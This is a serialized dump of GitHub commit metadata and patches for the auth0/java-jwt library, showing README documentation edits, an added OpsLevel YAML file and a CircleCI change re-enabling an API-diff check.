 uau(931cd1243c4653744c0f1cc59f182566139cd2c5}(sha(931cd1243c4653744c0f1cc59f182566139cd2c5node_idEC_kwDOAQtL0doAKDkzMWNkMTI0M2M0NjUzNzQ0YzBmMWNjNTlmMTgyNTY2MTM5Y2QyYzUcommit}(author}(nameWilson Chuksemailwilsonemmanuel144@gmail.comdate2022-11-22T22:17:22Zu	committer}(j׮  GitHubjٮ  noreply@github.comjۮ  2022-11-22T22:17:22Zumessage5Fixed a typographical error on the readme file (#641)tree}(jϮ  (43bfcfece7d6bfdc51dd19b56d5d812f3ae916aeurl^https://api.github.com/repos/auth0/java-jwt/git/trees/43bfcfece7d6bfdc51dd19b56d5d812f3ae916aeuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/931cd1243c4653744c0f1cc59f182566139cd2c5
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjfUpyCRBK7hj4Ov3rIwAAR6kIAFapzZs8RWvhBmjPd0AQQAL/
J7pxgUQs1lSlDV5OtcwV0DUaqjk6iWKWL1FhWiqSaiy/Rq+g/dWWeQoCFjYKiRDU
ClfqgbTDUNGI8SquuwQjuzD0pf/1yQrtHuUebu8l2gK0MNtfOaAFRS4VFFEjU3Zg
hxqH8vchd3zLqhNyjBFQ3Z/oZftIKOnKLmIe0bRl+MheaApYzhNBcKWwmssNtaUQ
XLJ/acOmzM6mURZ0qeLo+uchMcpglzGdMloY7+34a5r1v1xK36iozYN6HWNczl5l
MYRBF/B8MQ2VgwtSk0+kVSjNVHqbvHmHYHVgz72QxNzXdXMW94XCLCKyCJ9lDfs=
=iTzP
-----END PGP SIGNATURE-----
payloadX  tree 43bfcfece7d6bfdc51dd19b56d5d812f3ae916ae
parent 56e663c3b5830e0329160f2165043aff89f8d3bb
author Wilson Chuks <wilsonemmanuel144@gmail.com> 1669155442 +0900
committer GitHub <noreply@github.com> 1669155442 -0600

Fixed a typographical error on the readme file (#641)

uuj  \https://api.github.com/repos/auth0/java-jwt/commits/931cd1243c4653744c0f1cc59f182566139cd2c5html_urlQhttps://github.com/auth0/java-jwt/commit/931cd1243c4653744c0f1cc59f182566139cd2c5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/931cd1243c4653744c0f1cc59f182566139cd2c5/commentsjծ  }(loginWilson-EmmanuelidJXvjѮ  MDQ6VXNlcjI0NTE4MjMy
avatar_url4https://avatars.githubusercontent.com/u/24518232?v=4gravatar_idh3j  ,https://api.github.com/users/Wilson-Emmanuelj  "https://github.com/Wilson-Emmanuel
followers_url6https://api.github.com/users/Wilson-Emmanuel/followers
following_urlChttps://api.github.com/users/Wilson-Emmanuel/following{/other_user}	gists_url<https://api.github.com/users/Wilson-Emmanuel/gists{/gist_id}starred_urlChttps://api.github.com/users/Wilson-Emmanuel/starred{/owner}{/repo}subscriptions_url:https://api.github.com/users/Wilson-Emmanuel/subscriptionsorganizations_url1https://api.github.com/users/Wilson-Emmanuel/orgs	repos_url2https://api.github.com/users/Wilson-Emmanuel/repos
events_url=https://api.github.com/users/Wilson-Emmanuel/events{/privacy}received_events_url<https://api.github.com/users/Wilson-Emmanuel/received_eventstypeUser
site_adminujݮ  }(j  web-flowj  J/jѮ  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j   h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j	  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj
  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(jϮ  (56e663c3b5830e0329160f2165043aff89f8d3bbj  \https://api.github.com/repos/auth0/java-jwt/commits/56e663c3b5830e0329160f2165043aff89f8d3bbj  Qhttps://github.com/auth0/java-jwt/commit/56e663c3b5830e0329160f2165043aff89f8d3bbuastats}(totalK	additionsK	deletionsKufiles]}(jϮ  (903e37ba344da330a677b48994fc7b5d06171c7cfilename	README.mdstatusmodifiedj1  Kj2  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/931cd1243c4653744c0f1cc59f182566139cd2c5/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/931cd1243c4653744c0f1cc59f182566139cd2c5/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=931cd1243c4653744c0f1cc59f182566139cd2c5patchX  @@ -89,7 +89,7 @@ try {
         // reusable verifier instance
         .build();
         
-    decodedJWT jwt = verifier.verify(token);
+    decodedJWT = verifier.verify(token);
 } catch (JWTVerificationException exception){
     // Invalid signature/claims
 }uau(ed58ef33d1ed800b84678acee2cab172684198d1}(sha(ed58ef33d1ed800b84678acee2cab172684198d1node_idEC_kwDOAQtL0doAKGVkNThlZjMzZDFlZDgwMGI4NDY3OGFjZWUyY2FiMTcyNjg0MTk4ZDEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-01T10:05:37Zu	committer}(jN  
Poovamraj T TjP  poovamraj@gmail.comjR  2022-04-01T10:05:37ZumessageImproved README structuretree}(jF  (eb7b5bb7b01eedbdb0b3b31552ae132eca767f1curl^https://api.github.com/repos/auth0/java-jwt/git/trees/eb7b5bb7b01eedbdb0b3b31552ae132eca767f1cuj^  `https://api.github.com/repos/auth0/java-jwt/git/commits/ed58ef33d1ed800b84678acee2cab172684198d1
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj^  \https://api.github.com/repos/auth0/java-jwt/commits/ed58ef33d1ed800b84678acee2cab172684198d1html_urlQhttps://github.com/auth0/java-jwt/commit/ed58ef33d1ed800b84678acee2cab172684198d1comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ed58ef33d1ed800b84678acee2cab172684198d1/commentsjL  }(login	poovamrajidJ jH  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j^  &https://api.github.com/users/poovamrajjj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujT  }(jo  	poovamrajjq  J jH  MDQ6VXNlcjE1OTEwNDI1js  4https://avatars.githubusercontent.com/u/15910425?v=4ju  h3j^  &https://api.github.com/users/poovamrajjj  https://github.com/poovamrajjx  0https://api.github.com/users/poovamraj/followersjz  =https://api.github.com/users/poovamraj/following{/other_user}j|  6https://api.github.com/users/poovamraj/gists{/gist_id}j~  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(jF  (67df3d476024cbe697b3a54893f5383945c7670dj^  \https://api.github.com/repos/auth0/java-jwt/commits/67df3d476024cbe697b3a54893f5383945c7670djj  Qhttps://github.com/auth0/java-jwt/commit/67df3d476024cbe697b3a54893f5383945c7670duastats}(totalK	additionsKg	deletionsKZufiles]}(jF  (fb489d9b5a0a63ed8e1a68a77b7bc82d4863b5b2filename	README.mdstatusmodifiedj  Kgj  KZchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/ed58ef33d1ed800b84678acee2cab172684198d1/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/ed58ef33d1ed800b84678acee2cab172684198d1/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=ed58ef33d1ed800b84678acee2cab172684198d1patchX-  @@ -13,10 +13,29 @@ If you're looking for an **Android** version of the JWT Decoder take a look at o
 
 > This library requires Java 8 or higher. The last version that supported Java 7 was 3.11.0.
 
+## Table of Contents
+- [**Installation**](#installation)
+- [**Available Algorithms**](#available-algorithms)
+- [**Quickstart**](#quickstart)
+  + [**Create and Sign a Token**](#create-and-sign-a-token)
+  + [**Verify a Token**](#verify-a-token)
+  + [**Decode a Token**](#decode-a-token)
+- [**Usage**](#usage)
+  + [**Pick the algorithm**](#pick-the-algorithm)
+  + [**Time Validation**](#time-validation)
+  + [**Header Claims**](#header-claims)
+  + [**Payload Claims**](#payload-claims)
+  + [**Claim Class**](#claim-class)
+- [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
+
 ## Installation
 
-The library is available on both Maven Central and Bintray, and the Javadoc is published [here](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html).
- 
+### Gradle
+
+```gradle
+implementation 'com.auth0:java-jwt:3.19.0'
+```
+
 ### Maven
 
 ```xml
@@ -27,12 +46,6 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 </dependency>
 ```
 
-### Gradle
-
-```gradle
-implementation 'com.auth0:java-jwt:3.19.0'
-```
-
 ## Available Algorithms
 
 The library implements JWT Verification and Signing using the following algorithms:
@@ -49,73 +62,9 @@ The library implements JWT Verification and Signing using the following algorith
 | ES384 | ECDSA384 | ECDSA with curve P-384 and SHA-384 |
 | ES512 | ECDSA512 | ECDSA with curve P-521 and SHA-512 |
 
-⚠️ Note - ECDSA with curve secp256k1 and SHA-256 will not be supported for Java 15+ by this library since it has been (disabled in Java 15)[https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219]
-
-## Usage
-
-### Pick the Algorithm
-
-The Algorithm defines how a token is signed and verified. It can be instantiated with the raw value of the secret in the case of HMAC algorithms, or the key pairs or `KeyProvider` in the case of RSA and ECDSA algorithms. Once created, the instance is reusable for token signing and verification operations.
-
-When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can avoid specifying a Public Key by passing a `null` value. The same can be done with the Private Key when you just need to **verify** JWTs.
-
-
-#### Using static secrets or keys:
-
-```java
-//HMAC
-Algorithm algorithmHS = Algorithm.HMAC256("secret");
-
-//RSA
-RSAPublicKey publicKey = //Get the key instance
-RSAPrivateKey privateKey = //Get the key instance
-Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
-```
-
-> Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
-
-##### HMAC Key Length and Security
-
-When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
-
-#### Using a KeyProvider:
-
-By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
-
-- `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
-- `getPrivateKey()`: Its called during token signing and it should return the key that will be used to sign the JWT.
-- `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
-
-
-The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
-
-```java
-final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
-final RSAPrivateKey privateKey = //Get the key instance
-final String privateKeyId = //Create an Id for the above key
+> Note - Support for ECDSA with curve secp256k1 and SHA-256 (ES256K) has been dropped since it has been [disabled in Java 15](https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219)
 
-RSAKeyProvider keyProvider = new RSAKeyProvider() {
-    @Override
-    public RSAPublicKey getPublicKeyById(String kid) {
-        //Received 'kid' value might be null if it wasn't defined in the Token's header
-        RSAPublicKey publicKey = jwkStore.get(kid);
-        return (RSAPublicKey) publicKey;
-    }
-
-    @Override
-    public RSAPrivateKey getPrivateKey() {
-        return privateKey;
-    }
-
-    @Override
-    public String getPrivateKeyId() {
-        return privateKeyId;
-    }
-};
-
-Algorithm algorithm = Algorithm.RSA256(keyProvider);
-//Use the Algorithm to create and verify JWTs.
-```
+## Quickstart
 
 ### Create and Sign a Token
 
@@ -151,7 +100,6 @@ You'll first need to create a `JWTCreator` instance by calling `JWT.create()`. U
 
 If a Claim couldn't be converted to JSON or the Key used in the signing process was invalid a `JWTCreationException` will raise.
 
-
 ### Verify a Token
 
 You'll first need to create a `JWTVerifier` instance by calling `JWT.require()` and passing the `Algorithm` instance. If you require the token to have specific Claim values, use the builder to define them. The instance returned by the method `build()` is reusable, so you can define it once and use it to verify different tokens. Finally call `verifier.verify()` passing the token.
@@ -190,8 +138,87 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
 
 If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
 
+### Decode a Token
 
-#### Time Validation
+```java
+String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
+try {
+    DecodedJWT jwt = JWT.decode(token);
+} catch (JWTDecodeException exception){
+    //Invalid token
+}
+```
+
+If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
+
+## Usage
+
+### Pick the Algorithm
+
+The Algorithm defines how a token is signed and verified. It can be instantiated with the raw value of the secret in the case of HMAC algorithms, or the key pairs or `KeyProvider` in the case of RSA and ECDSA algorithms. Once created, the instance is reusable for token signing and verification operations.
+
+When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can avoid specifying a Public Key by passing a `null` value. The same can be done with the Private Key when you just need to **verify** JWTs.
+
+
+#### Using static secrets or keys:
+
+```java
+//HMAC
+Algorithm algorithmHS = Algorithm.HMAC256("secret");
+
+//RSA
+RSAPublicKey publicKey = //Get the key instance
+RSAPrivateKey privateKey = //Get the key instance
+Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
+```
+
+> Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
+
+##### HMAC Key Length and Security
+
+When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
+
+#### Using a KeyProvider:
+//todo need to be updated
+By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
+
+- `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
+- `getPrivateKey()`: Its called during token signing and it should return the key that will be used to sign the JWT.
+- `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
+
+
+The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
+
+```java
+final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
+final RSAPrivateKey privateKey = //Get the key instance
+final String privateKeyId = //Create an Id for the above key
+
+RSAKeyProvider keyProvider = new RSAKeyProvider() {
+    @Override
+    public RSAPublicKey getPublicKeyById(String kid) {
+        //Received 'kid' value might be null if it wasn't defined in the Token's header
+        RSAPublicKey publicKey = jwkStore.get(kid);
+        return (RSAPublicKey) publicKey;
+    }
+
+    @Override
+    public RSAPrivateKey getPrivateKey() {
+        return privateKey;
+    }
+
+    @Override
+    public String getPrivateKeyId() {
+        return privateKeyId;
+    }
+};
+
+Algorithm algorithm = Algorithm.RSA256(keyProvider);
+//Use the Algorithm to create and verify JWTs.
+```
+
+
+### Time Validation
 
 The JWT token may include DateNumber fields that can be used to validate that:
 * The token was issued in a past date `"iat" < TODAY`
@@ -227,20 +254,6 @@ Clock clock = new CustomClock(); //Must implement Clock interface
 JWTVerifier verifier = verification.build(clock);
 ```
 
-### Decode a Token
-
-```java
-String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-try {
-    DecodedJWT jwt = JWT.decode(token);
-} catch (JWTDecodeException exception){
-    //Invalid token
-}
-```
-
-If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
-
-
 ### Header Claims
 
 #### Algorithm ("alg")uau(1875ed74b136422952080b5f2ac7656e67e51f27}(sha(1875ed74b136422952080b5f2ac7656e67e51f27node_idEC_kwDOAQtL0doAKDE4NzVlZDc0YjEzNjQyMjk1MjA4MGI1ZjJhYzc2NTZlNjdlNTFmMjccommit}(author}(namesre-57-opslevel[bot]email7113727212+sre-57-opslevel[bot]@users.noreply.github.comdate2022-10-17T13:07:35Zu	committer}(jï  GitHubjů  noreply@github.comjǯ  2022-10-17T13:07:35ZumessageUpload OpsLevel YAMLtree}(j  (1ff9510091be7499958deb7416fea0f3de522e28url^https://api.github.com/repos/auth0/java-jwt/git/trees/1ff9510091be7499958deb7416fea0f3de522e28ujӯ  `https://api.github.com/repos/auth0/java-jwt/git/commits/1875ed74b136422952080b5f2ac7656e67e51f27
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjTVOXCRBK7hj4Ov3rIwAAZF0IABSCrD3fpUtk8FL1z8TVRarc
vjiF7TKp4qVST9DpR3nnvo9S8lCEgl5WnH38U2J76GoLJxPpVwrjwgX7ZjCduvbD
Ttl2wqkchjaTigHVJ03Vfi/Yc+dAKtJW9T+UOrYPyCyVcJhFtvc0H0Zdl/DJf0/W
iNLQDc57EtMSvgP8UPPN1+LbFeF7sCJuJtbWhSIDQZz6JsbzP/IYK1eaOoPD3OAy
kHOWUyX75l/e8VpeudWZdMYzzqcqpU1pMVWJrktShZSLuVlrwcqWc1TsmxG/HV8H
5yQ5v0S9s2mMWmWQK9wF4Zr7DLxAVy6bXrx57wEaqOFBfgDFVLmPlDpARSfv8nM=
=FD2Z
-----END PGP SIGNATURE-----
payloadX  tree 1ff9510091be7499958deb7416fea0f3de522e28
parent 9840e74b7ef87ce9678d2ee71308499fb1b6f757
author sre-57-opslevel[bot] <113727212+sre-57-opslevel[bot]@users.noreply.github.com> 1666012055 +0000
committer GitHub <noreply@github.com> 1666012055 +0000

Upload OpsLevel YAMLuujӯ  \https://api.github.com/repos/auth0/java-jwt/commits/1875ed74b136422952080b5f2ac7656e67e51f27html_urlQhttps://github.com/auth0/java-jwt/commit/1875ed74b136422952080b5f2ac7656e67e51f27comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1875ed74b136422952080b5f2ac7656e67e51f27/commentsj  }(loginsre-57-opslevel[bot]idJVj  BOT_kgDOBsdW7A
avatar_url3https://avatars.githubusercontent.com/u/2824157?v=4gravatar_idh3jӯ  5https://api.github.com/users/sre-57-opslevel%5Bbot%5Dj  'https://github.com/apps/sre-57-opslevel
followers_url?https://api.github.com/users/sre-57-opslevel%5Bbot%5D/followers
following_urlLhttps://api.github.com/users/sre-57-opslevel%5Bbot%5D/following{/other_user}	gists_urlEhttps://api.github.com/users/sre-57-opslevel%5Bbot%5D/gists{/gist_id}starred_urlLhttps://api.github.com/users/sre-57-opslevel%5Bbot%5D/starred{/owner}{/repo}subscriptions_urlChttps://api.github.com/users/sre-57-opslevel%5Bbot%5D/subscriptionsorganizations_url:https://api.github.com/users/sre-57-opslevel%5Bbot%5D/orgs	repos_url;https://api.github.com/users/sre-57-opslevel%5Bbot%5D/repos
events_urlFhttps://api.github.com/users/sre-57-opslevel%5Bbot%5D/events{/privacy}received_events_urlEhttps://api.github.com/users/sre-57-opslevel%5Bbot%5D/received_eventstypeBot
site_adminujɯ  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jӯ  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (9840e74b7ef87ce9678d2ee71308499fb1b6f757jӯ  \https://api.github.com/repos/auth0/java-jwt/commits/9840e74b7ef87ce9678d2ee71308499fb1b6f757j  Qhttps://github.com/auth0/java-jwt/commit/9840e74b7ef87ce9678d2ee71308499fb1b6f757uastats}(totalK	additionsK	deletionsK ufiles]}(j  (009a5ec0b603392187fd2496260186b5032335e9filenameopslevel.ymlstatusaddedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/1875ed74b136422952080b5f2ac7656e67e51f27/opslevel.ymlraw_url[https://github.com/auth0/java-jwt/raw/1875ed74b136422952080b5f2ac7656e67e51f27/opslevel.ymlcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/opslevel.yml?ref=1875ed74b136422952080b5f2ac7656e67e51f27patchQ@@ -0,0 +1,6 @@
+---
+version: 1
+repository:
+  owner: dx_sdks
+  tier:
+  tags:uau(f799e589c3d43de318c7ca0f0c36e462297db973}(sha(f799e589c3d43de318c7ca0f0c36e462297db973node_idEC_kwDOAQtL0doAKGY3OTllNTg5YzNkNDNkZTMxOGM3Y2EwZjBjMzZlNDYyMjk3ZGI5NzMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-07-11T17:53:03Zu	committer}(j:  GitHubj<  noreply@github.comj>  2022-07-11T17:53:03ZumessagehMerge pull request #596 from auth0/enable-api-diff-for-4.0

[SDK-3170] reenable api-diff check for 4.0.0tree}(j2  (652f0b0639727135255c94be8926958206750ddeurl^https://api.github.com/repos/auth0/java-jwt/git/trees/652f0b0639727135255c94be8926958206750ddeujJ  `https://api.github.com/repos/auth0/java-jwt/git/commits/f799e589c3d43de318c7ca0f0c36e462297db973
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJizGN/CRBK7hj4Ov3rIwAAFrMIABjZyp1w2DYWoC7TnNs7yNq4
TUmD4BOYzIBeYbIclI5jFRlepbK7+fjse3YHQj4BJzIAA3n8U7nPydhd4hjHKk/M
HM6f/+devoBD+sNyoZ/QGGt6B26XLiKUhid+UmObsjHmuB3SgUl+Qz2hAxG8HL81
RAEFXyxKbi7flnEHrSdd8xkIqAUUT5wOt2DQR3HZQfZa2Hz4sscf3MFSdpycmo/t
8eN8d+5JUScxoWmVUe6vyBKoB1Qtyvwkfc8bmfK7BVjI+BVHdCQEHWvJlkoGBGti
Y1DgSeZkJyTc4YnLnrzeGepSjm9l+/Q7DZPTTnzvjHCOHd8xqv376kAYnz9WEsA=
=PIDS
-----END PGP SIGNATURE-----
payloadXj  tree 652f0b0639727135255c94be8926958206750dde
parent ccd4191be6dfb49c587cb2e28529e1b5e635f39f
parent f30a47b917478010aa91a2093f9db786ef9a7e32
author Poovamraj T T <poovamraj@gmail.com> 1657561983 +0200
committer GitHub <noreply@github.com> 1657561983 +0200

Merge pull request #596 from auth0/enable-api-diff-for-4.0

[SDK-3170] reenable api-diff check for 4.0.0uujJ  \https://api.github.com/repos/auth0/java-jwt/commits/f799e589c3d43de318c7ca0f0c36e462297db973html_urlQhttps://github.com/auth0/java-jwt/commit/f799e589c3d43de318c7ca0f0c36e462297db973comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f799e589c3d43de318c7ca0f0c36e462297db973/commentsj8  }(login	poovamrajidJ j4  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jJ  &https://api.github.com/users/poovamrajjX  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj@  }(j]  web-flowj_  J/j4  MDQ6VXNlcjE5ODY0NDQ3ja  4https://avatars.githubusercontent.com/u/19864447?v=4jc  h3jJ  %https://api.github.com/users/web-flowjX  https://github.com/web-flowjf  /https://api.github.com/users/web-flow/followersjh  <https://api.github.com/users/web-flow/following{/other_user}jj  5https://api.github.com/users/web-flow/gists{/gist_id}jl  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jn  3https://api.github.com/users/web-flow/subscriptionsjp  *https://api.github.com/users/web-flow/orgsjr  +https://api.github.com/users/web-flow/reposjt  6https://api.github.com/users/web-flow/events{/privacy}jv  5https://api.github.com/users/web-flow/received_eventsjx  Userjz  uparents](}(j2  (ccd4191be6dfb49c587cb2e28529e1b5e635f39fjJ  \https://api.github.com/repos/auth0/java-jwt/commits/ccd4191be6dfb49c587cb2e28529e1b5e635f39fjX  Qhttps://github.com/auth0/java-jwt/commit/ccd4191be6dfb49c587cb2e28529e1b5e635f39fu}(j2  (f30a47b917478010aa91a2093f9db786ef9a7e32jJ  \https://api.github.com/repos/auth0/java-jwt/commits/f30a47b917478010aa91a2093f9db786ef9a7e32jX  Qhttps://github.com/auth0/java-jwt/commit/f30a47b917478010aa91a2093f9db786ef9a7e32uestats}(totalK-	additionsK	deletionsKufiles](}(j2  (1675c39fbd79cf6eba87148e42511922dfdefdd4filename.circleci/config.ymlstatusmodifiedj  Kj  KchangesK+blob_urlfhttps://github.com/auth0/java-jwt/blob/f799e589c3d43de318c7ca0f0c36e462297db973/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/f799e589c3d43de318c7ca0f0c36e462297db973/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=f799e589c3d43de318c7ca0f0c36e462297db973patchXk  @@ -22,15 +22,14 @@ commands:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
       - codecov/upload
-#  TODO re-enable once 4.0.0 is released
-#  run-api-diff:
-#    steps:
-#      # run apiDiff task
-#      - run: ./gradlew apiDiff
-#      - store_artifacts:
-#          path: lib/build/reports/apiDiff/apiDiff.txt
-#      - store_artifacts:
-#          path: lib/build/reports/apiDiff/apiDiff.html
+  run-api-diff:
+    steps:
+      # run apiDiff task
+      - run: ./gradlew apiDiff
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.txt
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -42,21 +41,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  #  api-diff:
-  #    docker:
-  #      - image: openjdk:11.0-jdk
-  #    steps:
-  #      - checkout-and-build
-  #      - run-api-diff
-  #    environment:
-  #      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-  #      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-  #      TERM: dumb
+  api-diff:
+    docker:
+      - image: openjdk:11.0-jdk
+    steps:
+      - checkout-and-build
+      - run-api-diff
+    environment:
+      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+      TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-#  api-diff:
-#    jobs:
-#      - api-diff
+  api-diff:
+    jobs:
